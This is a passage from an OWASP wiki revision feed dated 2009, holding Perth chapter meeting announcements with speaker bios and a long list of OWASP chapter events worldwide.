		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68359</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=68359"/>
				<updated>2009-09-01T08:40:30Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updates for upcoming Sep 09 meeting with Shlomi Cohen&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
=== Shlomi Cohen of IBM Rational ===&lt;br /&gt;
&lt;br /&gt;
The OWASP Perth Chapter is excited to announce our next meeting event.&lt;br /&gt;
This meeting is generously being hosted by IBM, who are providing a venue, catering *and* presenter, Shlomi Cohen. Shlomi works in the IBM Rational business unit and was fundamental in the development of their AppScan suite of products. &lt;br /&gt;
&lt;br /&gt;
Topic: TBA&lt;br /&gt;
&lt;br /&gt;
 '''Date: Monday 7th of September, 2009'''&lt;br /&gt;
 '''Time: 18:00 sign-in, 18:15 start'''&lt;br /&gt;
 '''Location: IBM Building, 1060 Hay St, West Perth, 6005'''&lt;br /&gt;
 '''RSVP: [mailto:christian.frichot@bankwest.com.au Christian Frichot]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 4/03/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=56345</id>
		<title>OWASP Community</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=56345"/>
				<updated>2009-03-09T01:09:31Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page is for people to post OWASP related events, such as chapter meetings, OWASP conferences, get-togethers, and OWASP sponsored events.&lt;br /&gt;
&lt;br /&gt;
Events from previous years are archived here:&lt;br /&gt;
* '''[[OWASP Community 2006]]'''&lt;br /&gt;
&lt;br /&gt;
This page is monitored, and items posted here will be copied to the OWASP Calendar [[Main Page]].  Please post new items in chronological order using the following format:&lt;br /&gt;
&lt;br /&gt;
 '''Mon ## (##:00h) - [[Article]]'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
CHAPTER LEADS -- please put your schedule here and we'll post a month in advance&lt;br /&gt;
&lt;br /&gt;
*** Belgium ***&lt;br /&gt;
&lt;br /&gt;
*** OTTAWA: Rough dates ***&lt;br /&gt;
&lt;br /&gt;
*** BOSTON: Every first Wednesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** BOULDER: Every third Thursday of the month except Nov and Dec ***&lt;br /&gt;
&lt;br /&gt;
*** MELBOURNE: First Tuesday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** NETHERLANDS: Second Thursday of the month sometimes ***&lt;br /&gt;
&lt;br /&gt;
*** ROCHESTER: Every third Monday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** TORONTO: Every second Wednesday of the month&lt;br /&gt;
&lt;br /&gt;
*** VIRGINIA: Every second thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
*** SINGAPORE: Every first Thursday of the month ***&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Upcoming Events==&lt;br /&gt;
=== 2009 ===&lt;br /&gt;
&lt;br /&gt;
'''Feb 10 (17:15h) - [http://www.owasp.org/index.php/Perth_Australia#Threat_Modelling_in_the_Software_Development_Lifecycle_.28Feb_2009.29 Perth Chapter Meeting]'''&lt;br /&gt;
=== 2008 ===&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (17:30h) -  [http://www.owasp.org/index.php/Netherlands#Announcement_December_11th_2008:_Architectural_and_design_risk_analysis Netherlands Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (17:30h) - [https://www.owasp.org/index.php/Denmark#Local_News Denmark Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 22nd-25th - [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference NY/NJ Metro]'''&lt;br /&gt;
&lt;br /&gt;
'''Aug 21 (18:00h) - [http://www.owasp.org/index.php/Boulder#Next_Meeting Boulder Chapter Meeting]'''&lt;br /&gt;
&lt;br /&gt;
==Past Events==&lt;br /&gt;
&lt;br /&gt;
'''Dec 11 (18:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 26 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:15h) - [[Helsinki|Helsinki chapter and RWSUG seminar]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 29 (11:30h) - [[Cincinnati|Cincinnati chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 20 (17:30h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 15 (11:00h) - [[Pune|Pune chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 12 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 6 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Dec 5 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Dec 3 (13:00h) - [[Israel|OWASP Israel 2007]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Seattle|Seattle Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 29 (18:00h) -[[Sacramento|Sacramento Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Nov 26 (09:30h) - [[Turkey|Turkey Chapter Meeting - Izmir]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 24 (13:30h) - [[Turkey|Turkey Chapter Meeting - Ankara]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 20 (18:00h) - [[Belgium|Belgium Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 14 (18:00h) - [[Houston|Houston Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 11 (18:00h) - [[Ireland|Ireland Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (18:00h) - [[Boston|Possible Boston OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 7 (19:00h) - [[Singapore|Singapore OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Nov 3 (18:30h) - [[Malaysia|Malaysia OWASP Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Oct 9 (19:30h) - [[Singapore|Singapore OWASP chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Oct 2 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (1800h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 27 (13:00h) - [[Taiwan|Taiwan chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 13 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 10 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 7 (15:00h) [[Germany|German chapter meeting]]''' - Restart of the German Chapter&lt;br /&gt;
&lt;br /&gt;
'''Sept (12:00h) - [[Belgium|Belgium OWASP Day Event]] '''&lt;br /&gt;
&lt;br /&gt;
'''Sept 6 (18:00h) - [[Kansas_City|Kansas City Chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[Chicago|Chicago Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (17:00h) - [[Israel|Israeli chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 25 (18:00h) - [[San Jose|San Jose Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 24 (17:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 (11:00h) - [[Turkey|Turkey chapter meeting - 1st Web Security Days]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 6 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 26 (11:30h) - [[Austin|Austin chapter meeting]]''' - Running Web Application Scans&lt;br /&gt;
&lt;br /&gt;
'''June 22 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 21 (19:00h) - [[Denver]]''' - Anti-DNS Pinning Attacks / Calculating Return on Security Investment (ROSI)&lt;br /&gt;
&lt;br /&gt;
'''June 19 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 14 (08:00h) - [[Vietnam|Vietnam chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 13 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 (18:00h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (19:00h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (17:30h) - [[Houston | Houston Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (9:00h) - [[http://www.owasp.org/index.php/Italy#May_29th.2C_2007_-_Seminar:_.22Software_Security.22 Italy@Firenze Tecnologia]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (11:30h) - [[Austin | Austin Chapter Meeting]]''' - Bullet Proof UI - A programmer's guide to the complete idiot&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
'''May 29 (18:00h) - [[Ottawa | Ottawa Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 (18:30h) - [[New Zealand|1st New Zealand chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 (14:00h) - [[Israel|2nd OWASP Israel mini conference]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 (11:00h) - [[Turkey|Turkey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (11:00h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (17:00h) - [[Switzerland|Switzerland chapter meeting and &amp;quot;Swiss Security Dinner&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 24 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 20 (19:00h) - [[Hong Kong|Hong Kong chapter meeting - Objectives for 2007]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 19 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 18 (17:00h) - [[San Francisco City Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[New Jersey|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[San Jose|San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 11 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 4 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 3 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 30 - [[http://www.owasp.org/index.php/Italy#March_30th.2C_2007_-_Master_in_Security_-_University_of_Rome_.22La_Sapienza.22| Italy@Master in Security at &amp;quot;La Sapienza&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (11:30h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
; '''Mar 27-30 - [http://www.blackhat.com Black Hat Euro]'''&lt;br /&gt;
: OWASP members receive a Euro 100 Briefings discount by inserting BH7EUASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Mar 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 21-22 - [[Belgium#OWASP_Top_10_2007_Update_.28Infosecurity_Belgium.2C_21_.26_.2622_Mar_2007.29|Belgium@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 20 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 13 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 8 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[Philadelphia|Philadelphia chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[San Francisco|San Francisco and San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 5 (11:00h) - [[New Jersey|New Jersey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 1 (11:30h) - [http://www.eusecwest.com/agenda.html EUSecWest 07: Testing Guide]'''&lt;br /&gt;
&lt;br /&gt;
; '''Feb 26-Mar 1 - [http://www.blackhat.com Black Hat DC]'''&lt;br /&gt;
: OWASP members receive a $100 Briefings discount by inserting BH7DCASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Feb 28 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 27 (18:00h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 21 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 19 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 13 (18:00h) - [[Ireland|Ireland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 12 (18:30h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6-7 - [[Italy#February_6th-8th.2C_2007_-_InfoSecurity|Italy@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 2 (14:00h) - [[Chennai|Chennai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 31 (15:00h) - [[Mumbai|Mumbai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 30 (11:30h) - [[Austin|Austin chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (18:00h) - [[San Francisco| San Francisco chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (14:30h) - [[Italy#October_25th.2C_2007_-_Isaca_Rome|Italy@ISACA Rome]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 24 (17:30h) - [[Israel#6th_OWASP_IL_meeting:_Wednesday.2C_January_24th_2007|6th OWASP Israel chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 23 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 22 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 17 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 16 (17:45h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:30h) - [[Phoenix|Phoenix chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 10 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 8 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 3 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 - [[Melbourne | Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 - [[Boston]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 - [[Turkey]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 - [[Virginia (Northern Virginia)|Washington DC (VA)]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 - [[Toronto]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 - [[Belgium]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 - [[Rochester]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 - [[Israel]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 - [[New Zealand]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 - [[Italy]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Houston]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Melbourne]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Helsinki]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 - [[New Jersey]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 - [[Spain]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 - [[Turkey]]'''&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=56344</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=56344"/>
				<updated>2009-03-09T01:08:34Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 4/03/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=56005</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=56005"/>
				<updated>2009-03-04T01:54:03Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
=== Title: TBA ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Wade Alcorn is a Principal Security Consultant for NGSSoftware working in all aspects of computer security. He has managed one the largest penetration testing teams in the UK and is currently involved within management in NGS Australia. His technical experience over the past 10 years has ranged from developing/designing PKI and military messaging software, to managing large scale penetration assessments.&lt;br /&gt;
&lt;br /&gt;
Wade has developed various publicly available security tools in areas including browser exploitation frameworks, RFID and BlueTooth. He has produced and presented professional hacking courses for financial and government organisations.&lt;br /&gt;
&lt;br /&gt;
Wade has also published leading papers on emerging threats within Information Security. These have included papers on Inter-protocol Exploitation and Cross-site Scripting Viruses. His Cross-site Scripting Virus paper was the first research to warn of the serious impact this threat would have on the Internet.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Wednesday, 11 March 2009'''&lt;br /&gt;
 '''Location: [http://maps.google.com.au/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=edith+cowan+university,+mt+lawley&amp;amp;sll=-25.335448,135.745076&amp;amp;sspn=37.439309,56.25&amp;amp;ie=UTF8&amp;amp;ll=-31.920514,115.872159&amp;amp;spn=0.017412,0.027466&amp;amp;t=h&amp;amp;z=15 Edith Cowan University, Mt Lawley]'''&lt;br /&gt;
 '''Time: 5:30pm'''&lt;br /&gt;
 '''RSVP: by 9 March 2009 to [mailto:david.taylor@bankwest.com.au David Taylor]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 4/03/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=55988</id>
		<title>OWASP Community</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Community&amp;diff=55988"/>
				<updated>2009-03-04T00:41:53Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
